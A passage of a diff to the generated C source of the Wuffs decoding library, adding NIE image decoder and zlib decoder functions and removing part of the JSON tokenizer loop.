(((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; ++ } ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); ++ goto ok; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_nie__decoder__frame_dirty_rect( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func nie.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_nie__decoder__num_animation_loops( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func nie.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frame_configs( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func nie.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frames( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func nie.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__restart_frame( ++ wuffs_nie__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if ((a_index != 0u) || (a_io_position != 16u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func nie.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_nie__decoder__set_report_metadata( ++ wuffs_nie__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func nie.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__tell_me_more( ++ wuffs_nie__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_nie__decoder__workbuf_len( ++ const wuffs_nie__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; ++const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; ++const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; ++const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; ++const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; ++const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; ++const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_ZLIB__QUIRKS_BASE 2113790976u ++ ++#define WUFFS_ZLIB__QUIRKS_COUNT 1u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_zlib__decoder__do_transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_zlib__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_zlib__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_zlib__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_zlib__decoder__initialize( ++ wuffs_zlib__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_adler32__hasher__initialize( ++ &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_adler32__hasher__initialize( ++ &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_deflate__decoder__initialize( ++ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_zlib__decoder* ++wuffs_zlib__decoder__alloc(void) { ++ wuffs_zlib__decoder* x = ++ (wuffs_zlib__decoder*)(calloc(1, sizeof(wuffs_zlib__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_zlib__decoder__initialize( ++ x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_zlib__decoder(void) { ++ return sizeof(wuffs_zlib__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func zlib.decoder.dictionary_id ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_zlib__decoder__dictionary_id( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return self->private_impl.f_dict_id_want; ++} ++ ++// -------- func zlib.decoder.add_dictionary ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_zlib__decoder__add_dictionary( ++ wuffs_zlib__decoder* self, ++ wuffs_base__slice_u8 a_dict) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if (self->private_impl.f_header_complete) { ++ self->private_impl.f_bad_call_sequence = true; ++ } else { ++ self->private_impl.f_dict_id_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); ++ wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); ++ } ++ self->private_impl.f_got_dictionary = true; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func zlib.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_zlib__decoder__get_quirk( ++ const wuffs_zlib__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_key = 0; ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } else if (a_key >= 2113790976u) { ++ v_key = (a_key - 2113790976u); ++ if (v_key < 1u) { ++ if (self->private_impl.f_quirks[v_key]) { ++ return 1u; ++ } ++ } ++ } ++ return 0u; ++} ++ ++// -------- func zlib.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__set_quirk( ++ wuffs_zlib__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (self->private_impl.f_header_complete) { ++ self->private_impl.f_bad_call_sequence = true; ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key >= 2113790976u) { ++ a_key -= 2113790976u; ++ if (a_key < 1u) { ++ self->private_impl.f_quirks[a_key] = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func zlib.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_zlib__decoder__dst_history_retain_length( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func zlib.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_zlib__decoder__workbuf_len( ++ const wuffs_zlib__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func zlib.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_zlib__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_zlib__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func zlib.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_zlib__decoder__do_transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint16_t v_x = 0; ++ uint32_t v_checksum_have = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_want = 0; ++ uint64_t v_mark = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_bad_call_sequence) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_quirks[0u]) { ++ } else if ( ! self->private_impl.f_want_dictionary) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint16_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_number_length = wuffs_json__decoder__decode_number(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- v_number_status = (v_number_length >> 8u); +- v_vminor = 10486787u; +- if ((v_number_length & 128u) != 0u) { +- v_vminor = 10486785u; ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_number_length = (v_number_length & 127u); +- if (v_number_status == 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_number_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint16_t)(*scratch >> 48)); + break; + } +- while (v_number_length > 0u) { +- v_number_length -= 1u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_x = t_0; ++ } ++ if (((uint16_t)(((uint16_t)(v_x >> 8u)) & 15u)) != 8u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_method); ++ goto exit; ++ } ++ if (((uint16_t)(v_x >> 12u)) > 7u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_compression_window_size); ++ goto exit; ++ } ++ if (((uint16_t)(v_x % 31u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_zlib__error__bad_parity_check); ++ goto exit; ++ } ++ self->private_impl.f_want_dictionary = (((uint16_t)(v_x & 32u)) != 0u); ++ if (self->private_impl.f_want_dictionary) { ++ self->private_impl.f_dict_id_have = 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- if (v_number_status == 1u) { +- if (self->private_impl.f_quirks[14u]) { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); + break; + } +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } else if (v_number_status == 2u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_number_length); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(17); +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(18); +- } +- } +- } +- break; +- } else if (v_class == 5u) { +- v_vminor = 2113553u; +- if (v_depth == 0u) { +- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { +- v_vminor = 2113601u; +- } else { +- v_vminor = 2113569u; +- } +- if (v_depth >= 1024u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); +- goto exit; +- } +- v_stack_byte = (v_depth / 32u); +- v_stack_bit = (v_depth & 31u); +- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(1u)) << v_stack_bit); +- v_depth += 1u; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4162u; +- v_expect_after_value = 4164u; +- goto label__outer__continue; +- } else if (v_class == 6u) { +- iop_a_src += 1u; +- if (v_depth <= 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2101314u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__break; +- } +- v_depth -= 1u; +- v_stack_byte = ((v_depth - 1u) / 32u); +- v_stack_bit = ((v_depth - 1u) & 31u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2105410u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4356u; +- v_expect_after_value = 4356u; +- } else { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 4164u; +- v_expect_after_value = 4164u; +- } +- goto label__outer__continue; +- } else if (v_class == 7u) { +- v_vminor = 2105361u; +- if (v_depth == 0u) { +- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { +- v_vminor = 2105409u; +- } else { +- v_vminor = 2105377u; +- } +- if (v_depth >= 1024u) { +- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); +- goto exit; +- } +- v_stack_byte = (v_depth / 32u); +- v_stack_bit = (v_depth & 31u); +- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); +- v_depth += 1u; +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 8114u; +- v_expect_after_value = 4356u; +- goto label__outer__continue; +- } else if (v_class == 8u) { +- iop_a_src += 1u; +- if (v_depth <= 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__outer__break; +- } +- v_depth -= 1u; +- v_stack_byte = ((v_depth - 1u) / 32u); +- v_stack_bit = ((v_depth - 1u) & 31u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- 